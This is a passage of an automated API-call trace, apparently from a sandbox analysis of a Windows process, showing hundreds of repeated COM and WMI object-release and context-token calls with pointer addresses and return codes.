(This=0x1bc3ecc0) returned 0x0 [0175.033] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.033] WbemDefPath:IUnknown:Release (This=0x1bc956b0) returned 0x1 [0175.033] WbemDefPath:IUnknown:Release (This=0x1bc956b0) returned 0x0 [0175.033] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.033] WbemDefPath:IUnknown:Release (This=0x1aa0b0d0) returned 0x1 [0175.033] WbemDefPath:IUnknown:Release (This=0x1aa0b0d0) returned 0x0 [0175.033] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.033] WbemDefPath:IUnknown:Release (This=0x1aa0a290) returned 0x1 [0175.033] WbemDefPath:IUnknown:Release (This=0x1aa0a290) returned 0x0 [0175.033] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.034] WbemDefPath:IUnknown:Release (This=0x1bc40100) returned 0x1 [0175.034] WbemDefPath:IUnknown:Release (This=0x1bc40100) returned 0x0 [0175.034] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.034] WbemDefPath:IUnknown:Release (This=0x1bc3f2c0) returned 0x1 [0175.034] WbemDefPath:IUnknown:Release (This=0x1bc3f2c0) returned 0x0 [0175.034] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.034] WbemDefPath:IUnknown:Release (This=0x1bc94e70) returned 0x1 [0175.034] WbemDefPath:IUnknown:Release (This=0x1bc94e70) returned 0x0 [0175.034] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.034] WbemDefPath:IUnknown:Release (This=0x1aa0b6d0) returned 0x1 [0175.034] WbemDefPath:IUnknown:Release (This=0x1aa0b6d0) returned 0x0 [0175.034] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.034] WbemDefPath:IUnknown:Release (This=0x1aa0a890) returned 0x1 [0175.034] WbemDefPath:IUnknown:Release (This=0x1aa0a890) returned 0x0 [0175.034] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.034] WbemDefPath:IUnknown:Release (This=0x1bbbf760) returned 0x1 [0175.034] WbemDefPath:IUnknown:Release (This=0x1bbbf760) returned 0x0 [0175.034] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.035] WbemDefPath:IUnknown:Release (This=0x1bc40700) returned 0x1 [0175.035] WbemDefPath:IUnknown:Release (This=0x1bc40700) returned 0x0 [0175.035] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.035] WbemDefPath:IUnknown:Release (This=0x1bc3f8c0) returned 0x1 [0175.035] WbemDefPath:IUnknown:Release (This=0x1bc3f8c0) returned 0x0 [0175.035] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.035] WbemDefPath:IUnknown:Release (This=0x1bc3ea80) returned 0x1 [0175.035] WbemDefPath:IUnknown:Release (This=0x1bc3ea80) returned 0x0 [0175.035] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.035] WbemDefPath:IUnknown:Release (This=0x1bc94630) returned 0x1 [0175.035] WbemDefPath:IUnknown:Release (This=0x1bc94630) returned 0x0 [0175.035] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.035] WbemDefPath:IUnknown:Release (This=0x1aa0bcd0) returned 0x1 [0175.035] WbemDefPath:IUnknown:Release (This=0x1aa0bcd0) returned 0x0 [0175.035] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.035] WbemDefPath:IUnknown:Release (This=0x1aa0ae90) returned 0x1 [0175.035] WbemDefPath:IUnknown:Release (This=0x1aa0ae90) returned 0x0 [0175.035] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.036] WbemDefPath:IUnknown:Release (This=0x1bbc0ba0) returned 0x1 [0175.036] WbemDefPath:IUnknown:Release (This=0x1bbc0ba0) returned 0x0 [0175.036] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.036] WbemDefPath:IUnknown:Release (This=0x1bc3fec0) returned 0x1 [0175.036] WbemDefPath:IUnknown:Release (This=0x1bc3fec0) returned 0x0 [0175.036] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.036] WbemDefPath:IUnknown:Release (This=0x1bc3f080) returned 0x1 [0175.036] WbemDefPath:IUnknown:Release (This=0x1bc3f080) returned 0x0 [0175.036] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.036] WbemDefPath:IUnknown:Release (This=0x1bc404c0) returned 0x1 [0175.036] WbemDefPath:IUnknown:Release (This=0x1bc404c0) returned 0x0 [0175.036] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.036] WbemDefPath:IUnknown:Release (This=0x1bc94c30) returned 0x1 [0175.036] WbemDefPath:IUnknown:Release (This=0x1bc94c30) returned 0x0 [0175.036] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.036] WbemDefPath:IUnknown:Release (This=0x1bcda360) returned 0x1 [0175.036] WbemDefPath:IUnknown:Release (This=0x1bcda360) returned 0x0 [0175.037] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.037] WbemDefPath:IUnknown:Release (This=0x1bcd9520) returned 0x1 [0175.037] WbemDefPath:IUnknown:Release (This=0x1bcd9520) returned 0x0 [0175.037] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.037] WbemDefPath:IUnknown:Release (This=0x1aa0b490) returned 0x1 [0175.037] WbemDefPath:IUnknown:Release (This=0x1aa0b490) returned 0x0 [0175.037] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.037] WbemDefPath:IUnknown:Release (This=0x1aa0a650) returned 0x1 [0175.037] WbemDefPath:IUnknown:Release (This=0x1aa0a650) returned 0x0 [0175.037] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.037] WbemDefPath:IUnknown:Release (This=0x1bcd90a0) returned 0x1 [0175.037] WbemDefPath:IUnknown:Release (This=0x1bcd90a0) returned 0x0 [0175.037] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.037] WbemDefPath:IUnknown:Release (This=0x1bc3f680) returned 0x1 [0175.037] WbemDefPath:IUnknown:Release (This=0x1bc3f680) returned 0x0 [0175.037] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.037] WbemDefPath:IUnknown:Release (This=0x1bc95230) returned 0x1 [0175.037] WbemDefPath:IUnknown:Release (This=0x1bc95230) returned 0x0 [0175.038] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.038] WbemDefPath:IUnknown:Release (This=0x1bc943f0) returned 0x1 [0175.038] WbemDefPath:IUnknown:Release (This=0x1bc943f0) returned 0x0 [0175.038] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.038] WbemDefPath:IUnknown:Release (This=0x1bcd9b20) returned 0x1 [0175.038] WbemDefPath:IUnknown:Release (This=0x1bcd9b20) returned 0x0 [0175.038] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.038] WbemDefPath:IUnknown:Release (This=0x1aa0ba90) returned 0x1 [0175.038] WbemDefPath:IUnknown:Release (This=0x1aa0ba90) returned 0x0 [0175.038] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.038] WbemDefPath:IUnknown:Release (This=0x1aa0ac50) returned 0x1 [0175.038] WbemDefPath:IUnknown:Release (This=0x1aa0ac50) returned 0x0 [0175.038] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.038] WbemDefPath:IUnknown:Release (This=0x1aa0bf10) returned 0x1 [0175.038] WbemDefPath:IUnknown:Release (This=0x1aa0bf10) returned 0x0 [0175.038] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.038] WbemDefPath:IUnknown:Release (This=0x1a97f9d0) returned 0x1 [0175.038] WbemDefPath:IUnknown:Release (This=0x1a97f9d0) returned 0x0 [0175.039] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.039] WbemDefPath:IUnknown:Release (This=0x1bc3fc80) returned 0x1 [0175.039] WbemDefPath:IUnknown:Release (This=0x1bc3fc80) returned 0x0 [0175.039] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.039] WbemDefPath:IUnknown:Release (This=0x1bc3ee40) returned 0x1 [0175.039] WbemDefPath:IUnknown:Release (This=0x1bc3ee40) returned 0x0 [0175.039] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.039] WbemDefPath:IUnknown:Release (This=0x1bc95830) returned 0x1 [0175.039] WbemDefPath:IUnknown:Release (This=0x1bc95830) returned 0x0 [0175.039] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.039] WbemDefPath:IUnknown:Release (This=0x1bc949f0) returned 0x1 [0175.039] WbemDefPath:IUnknown:Release (This=0x1bc949f0) returned 0x0 [0175.039] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.039] WbemDefPath:IUnknown:Release (This=0x1aa0c090) returned 0x1 [0175.039] WbemDefPath:IUnknown:Release (This=0x1aa0c090) returned 0x0 [0175.039] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.039] WbemDefPath:IUnknown:Release (This=0x1aa0b250) returned 0x1 [0175.040] WbemDefPath:IUnknown:Release (This=0x1aa0b250) returned 0x0 [0175.040] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.040] WbemDefPath:IUnknown:Release (This=0x1aa0a410) returned 0x1 [0175.040] WbemDefPath:IUnknown:Release (This=0x1aa0a410) returned 0x0 [0175.040] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.040] WbemDefPath:IUnknown:Release (This=0x1bc93c70) returned 0x1 [0175.040] WbemDefPath:IUnknown:Release (This=0x1bc93c70) returned 0x0 [0175.040] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.040] WbemDefPath:IUnknown:Release (This=0x1a980e10) returned 0x1 [0175.040] WbemDefPath:IUnknown:Release (This=0x1a980e10) returned 0x0 [0175.040] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.040] WbemDefPath:IUnknown:Release (This=0x1bc40280) returned 0x1 [0175.040] WbemDefPath:IUnknown:Release (This=0x1bc40280) returned 0x0 [0175.040] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.040] WbemDefPath:IUnknown:Release (This=0x1bc3f440) returned 0x1 [0175.040] WbemDefPath:IUnknown:Release (This=0x1bc3f440) returned 0x0 [0175.041] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.041] WbemDefPath:IUnknown:Release (This=0x1bc94ff0) returned 0x1 [0175.041] WbemDefPath:IUnknown:Release (This=0x1bc94ff0) returned 0x0 [0175.041] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.041] WbemDefPath:IUnknown:Release (This=0x1bcda720) returned 0x1 [0175.041] WbemDefPath:IUnknown:Release (This=0x1bcda720) returned 0x0 [0175.041] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.041] WbemDefPath:IUnknown:Release (This=0x1aa0b850) returned 0x1 [0175.041] WbemDefPath:IUnknown:Release (This=0x1aa0b850) returned 0x0 [0175.041] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.041] WbemDefPath:IUnknown:Release (This=0x1aa0aa10) returned 0x1 [0175.041] WbemDefPath:IUnknown:Release (This=0x1aa0aa10) returned 0x0 [0175.041] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.041] WbemDefPath:IUnknown:Release (This=0x1bc3f140) returned 0x1 [0175.041] WbemDefPath:IUnknown:Release (This=0x1bc3f140) returned 0x0 [0175.041] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.041] WbemDefPath:IUnknown:Release (This=0x1a97f790) returned 0x1 [0175.042] WbemDefPath:IUnknown:Release (This=0x1a97f790) returned 0x0 [0175.042] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.042] WbemDefPath:IUnknown:Release (This=0x1bc3fa40) returned 0x1 [0175.042] WbemDefPath:IUnknown:Release (This=0x1bc3fa40) returned 0x0 [0175.042] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.042] WbemDefPath:IUnknown:Release (This=0x1bc3ec00) returned 0x1 [0175.042] WbemDefPath:IUnknown:Release (This=0x1bc3ec00) returned 0x0 [0175.042] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.042] WbemDefPath:IUnknown:Release (This=0x1bc955f0) returned 0x1 [0175.042] WbemDefPath:IUnknown:Release (This=0x1bc955f0) returned 0x0 [0175.042] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.042] WbemDefPath:IUnknown:Release (This=0x1bc947b0) returned 0x1 [0175.042] WbemDefPath:IUnknown:Release (This=0x1bc947b0) returned 0x0 [0175.042] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.042] WbemDefPath:IUnknown:Release (This=0x1aa0be50) returned 0x1 [0175.042] WbemDefPath:IUnknown:Release (This=0x1aa0be50) returned 0x0 [0175.043] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.043] WbemDefPath:IUnknown:Release (This=0x1aa0b010) returned 0x1 [0175.043] WbemDefPath:IUnknown:Release (This=0x1aa0b010) returned 0x0 [0175.043] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.043] WbemDefPath:IUnknown:Release (This=0x1aa0b9d0) returned 0x1 [0175.043] WbemDefPath:IUnknown:Release (This=0x1aa0b9d0) returned 0x0 [0175.043] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.043] WbemDefPath:IUnknown:Release (This=0x1bc40040) returned 0x1 [0175.043] WbemDefPath:IUnknown:Release (This=0x1bc40040) returned 0x0 [0175.043] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.043] WbemDefPath:IUnknown:Release (This=0x1bc94db0) returned 0x1 [0175.043] WbemDefPath:IUnknown:Release (This=0x1bc94db0) returned 0x0 [0175.043] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.043] WbemDefPath:IUnknown:Release (This=0x1aa0b610) returned 0x1 [0175.043] WbemDefPath:IUnknown:Release (This=0x1aa0b610) returned 0x0 [0175.043] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.043] WbemDefPath:IUnknown:Release (This=0x1aa0a7d0) returned 0x1 [0175.043] WbemDefPath:IUnknown:Release (This=0x1aa0a7d0) returned 0x0 [0175.044] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.044] WbemDefPath:IUnknown:Release (This=0x1a980390) returned 0x1 [0175.044] WbemDefPath:IUnknown:Release (This=0x1a980390) returned 0x0 [0175.044] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.044] WbemDefPath:IUnknown:Release (This=0x1bbbeda0) returned 0x1 [0175.044] WbemDefPath:IUnknown:Release (This=0x1bbbeda0) returned 0x0 [0175.044] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.044] WbemDefPath:IUnknown:Release (This=0x1bc40640) returned 0x1 [0175.044] WbemDefPath:IUnknown:Release (This=0x1bc40640) returned 0x0 [0175.044] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.044] WbemDefPath:IUnknown:Release (This=0x1bc3e9c0) returned 0x1 [0175.044] WbemDefPath:IUnknown:Release (This=0x1bc3e9c0) returned 0x0 [0175.044] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.044] WbemDefPath:IUnknown:Release (This=0x1bc953b0) returned 0x1 [0175.044] WbemDefPath:IUnknown:Release (This=0x1bc953b0) returned 0x0 [0175.044] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.044] WbemDefPath:IUnknown:Release (This=0x1bc94570) returned 0x1 [0175.044] WbemDefPath:IUnknown:Release (This=0x1bc94570) returned 0x0 [0175.045] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.045] WbemDefPath:IUnknown:Release (This=0x1aa0bc10) returned 0x1 [0175.045] WbemDefPath:IUnknown:Release (This=0x1aa0bc10) returned 0x0 [0175.045] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.045] WbemDefPath:IUnknown:Release (This=0x1aa0add0) returned 0x1 [0175.045] WbemDefPath:IUnknown:Release (This=0x1aa0add0) returned 0x0 [0175.045] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.045] WbemDefPath:IUnknown:Release (This=0x1a980990) returned 0x1 [0175.045] WbemDefPath:IUnknown:Release (This=0x1a980990) returned 0x0 [0175.045] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.045] WbemDefPath:IUnknown:Release (This=0x1bc3fe00) returned 0x1 [0175.045] WbemDefPath:IUnknown:Release (This=0x1bc3fe00) returned 0x0 [0175.045] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.045] WbemDefPath:IUnknown:Release (This=0x1bc3efc0) returned 0x1 [0175.045] WbemDefPath:IUnknown:Release (This=0x1bc3efc0) returned 0x0 [0175.046] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.046] WbemDefPath:IUnknown:Release (This=0x1bc94b70) returned 0x1 [0175.046] WbemDefPath:IUnknown:Release (This=0x1bc94b70) returned 0x0 [0175.046] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.046] WbemDefPath:IUnknown:Release (This=0x1bc93d30) returned 0x1 [0175.046] WbemDefPath:IUnknown:Release (This=0x1bc93d30) returned 0x0 [0175.046] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.046] WbemDefPath:IUnknown:Release (This=0x1aa0b3d0) returned 0x1 [0175.046] WbemDefPath:IUnknown:Release (This=0x1aa0b3d0) returned 0x0 [0175.046] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.046] WbemDefPath:IUnknown:Release (This=0x1aa0a590) returned 0x1 [0175.046] WbemDefPath:IUnknown:Release (This=0x1aa0a590) returned 0x0 [0175.046] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.046] WbemDefPath:IUnknown:Release (This=0x1bc40400) returned 0x1 [0175.046] WbemDefPath:IUnknown:Release (This=0x1bc40400) returned 0x0 [0175.046] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.046] WbemDefPath:IUnknown:Release (This=0x1bc95170) returned 0x1 [0175.046] WbemDefPath:IUnknown:Release (This=0x1bc95170) returned 0x0 [0175.047] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.047] WbemDefPath:IUnknown:Release (This=0x1aa0ab90) returned 0x1 [0175.047] WbemDefPath:IUnknown:Release (This=0x1aa0ab90) returned 0x0 [0175.047] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.047] WbemDefPath:IUnknown:Release (This=0x1bc3fbc0) returned 0x1 [0175.047] WbemDefPath:IUnknown:Release (This=0x1bc3fbc0) returned 0x0 [0175.047] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.047] WbemDefPath:IUnknown:Release (This=0x1bc3ed80) returned 0x1 [0175.047] WbemDefPath:IUnknown:Release (This=0x1bc3ed80) returned 0x0 [0175.047] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.047] WbemDefPath:IUnknown:Release (This=0x1bc95770) returned 0x1 [0175.047] WbemDefPath:IUnknown:Release (This=0x1bc95770) returned 0x0 [0175.047] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.047] WbemDefPath:IUnknown:Release (This=0x1bc94930) returned 0x1 [0175.047] WbemDefPath:IUnknown:Release (This=0x1bc94930) returned 0x0 [0175.048] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.048] WbemDefPath:IUnknown:Release (This=0x1aa0bfd0) returned 0x1 [0175.048] WbemDefPath:IUnknown:Release (This=0x1aa0bfd0) returned 0x0 [0175.048] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.048] WbemDefPath:IUnknown:Release (This=0x1aa0b190) returned 0x1 [0175.048] WbemDefPath:IUnknown:Release (This=0x1aa0b190) returned 0x0 [0175.048] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.048] WbemDefPath:IUnknown:Release (This=0x1aa0a350) returned 0x1 [0175.048] WbemDefPath:IUnknown:Release (This=0x1aa0a350) returned 0x0 [0175.048] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.048] WbemDefPath:IUnknown:Release (This=0x1a97ff10) returned 0x1 [0175.048] WbemDefPath:IUnknown:Release (This=0x1a97ff10) returned 0x0 [0175.048] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.048] WbemDefPath:IUnknown:Release (This=0x1bbbf220) returned 0x1 [0175.048] WbemDefPath:IUnknown:Release (This=0x1bbbf220) returned 0x0 [0175.048] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.048] WbemDefPath:IUnknown:Release (This=0x1bc95470) returned 0x1 [0175.048] WbemDefPath:IUnknown:Release (This=0x1bc95470) returned 0x0 [0175.049] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.049] WbemDefPath:IUnknown:Release (This=0x1bc401c0) returned 0x1 [0175.049] WbemDefPath:IUnknown:Release (This=0x1bc401c0) returned 0x0 [0175.049] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.049] WbemDefPath:IUnknown:Release (This=0x1bc3f380) returned 0x1 [0175.049] WbemDefPath:IUnknown:Release (This=0x1bc3f380) returned 0x0 [0175.049] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.049] WbemDefPath:IUnknown:Release (This=0x1bc94f30) returned 0x1 [0175.049] WbemDefPath:IUnknown:Release (This=0x1bc94f30) returned 0x0 [0175.049] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.049] WbemDefPath:IUnknown:Release (This=0x1bc940f0) returned 0x1 [0175.049] WbemDefPath:IUnknown:Release (This=0x1bc940f0) returned 0x0 [0175.049] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.049] WbemDefPath:IUnknown:Release (This=0x1aa0b790) returned 0x1 [0175.049] WbemDefPath:IUnknown:Release (This=0x1aa0b790) returned 0x0 [0175.050] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.050] WbemDefPath:IUnknown:Release (This=0x1aa0a950) returned 0x1 [0175.050] WbemDefPath:IUnknown:Release (This=0x1aa0a950) returned 0x0 [0175.050] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.050] WbemDefPath:IUnknown:Release (This=0x1bc3f800) returned 0x1 [0175.050] WbemDefPath:IUnknown:Release (This=0x1bc3f800) returned 0x0 [0175.050] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.050] WbemDefPath:IUnknown:Release (This=0x1bbc0660) returned 0x1 [0175.050] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.050] CoGetContextToken (in: pToken=0x1a92f380 | out: pToken=0x1a92f380) returned 0x0 [0175.050] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.050] WbemLocator:IUnknown:Release (This=0x1bc165f0) returned 0x1 [0175.050] WbemLocator:IUnknown:Release (This=0x1bc165f0) returned 0x0 [0175.050] WbemLocator:IUnknown:Release (This=0x1bbf1fa0) returned 0x1 [0175.050] WbemLocator:IUnknown:Release (This=0x1bbf1fa0) returned 0x0 [0175.050] WbemLocator:IUnknown:Release (This=0x1bc15bb0) returned 0x1 [0175.051] WbemLocator:IUnknown:Release (This=0x1bc15bb0) returned 0x0 [0175.051] WbemLocator:IUnknown:Release (This=0x1bbf1a80) returned 0x1 [0175.051] WbemLocator:IUnknown:Release (This=0x1bbf1a80) returned 0x0 [0175.051] WbemLocator:IUnknown:Release (This=0x1a9e38e0) returned 0x1 [0175.051] WbemLocator:IUnknown:Release (This=0x1a9e38e0) returned 0x0 [0175.061] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.061] WbemLocator:IUnknown:Release (This=0x1bb97ac0) returned 0x1 [0175.061] WbemLocator:IUnknown:Release (This=0x1bb97ac0) returned 0x0 [0175.063] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.063] WbemLocator:IUnknown:Release (This=0x1bcc4c00) returned 0x1 [0175.063] WbemLocator:IUnknown:Release (This=0x1bcc4c00) returned 0x0 [0175.063] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.063] WbemLocator:IUnknown:Release (This=0x1bcc63f0) returned 0x1 [0175.063] WbemLocator:IUnknown:Release (This=0x1bcc63f0) returned 0x0 [0175.064] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.064] WbemLocator:IUnknown:Release (This=0x1bc56bc0) returned 0x1 [0175.064] WbemLocator:IUnknown:Release (This=0x1bc56bc0) returned 0x0 [0175.065] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.065] WbemLocator:IUnknown:Release (This=0x1bc0af40) returned 0x1 [0175.065] WbemLocator:IUnknown:Release (This=0x1bc0af40) returned 0x0 [0175.065] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.065] WbemLocator:IUnknown:Release (This=0x1bc36b10) returned 0x1 [0175.066] WbemLocator:IUnknown:Release (This=0x1bc36b10) returned 0x0 [0175.066] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.066] WbemLocator:IUnknown:Release (This=0x1bc0c650) returned 0x1 [0175.066] WbemLocator:IUnknown:Release (This=0x1bc0c650) returned 0x0 [0175.067] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.067] WbemLocator:IUnknown:Release (This=0x1bc14b30) returned 0x1 [0175.067] WbemLocator:IUnknown:Release (This=0x1bc14b30) returned 0x0 [0175.067] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.067] WbemLocator:IUnknown:Release (This=0x1bbd9050) returned 0x1 [0175.067] WbemLocator:IUnknown:Release (This=0x1bbd9050) returned 0x0 [0175.068] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.068] WbemLocator:IUnknown:Release (This=0x1bc6f740) returned 0x1 [0175.068] WbemLocator:IUnknown:Release (This=0x1bc6f740) returned 0x0 [0175.068] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.068] WbemLocator:IUnknown:Release (This=0x1bce7e10) returned 0x1 [0175.068] WbemLocator:IUnknown:Release (This=0x1bce7e10) returned 0x0 [0175.069] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.069] 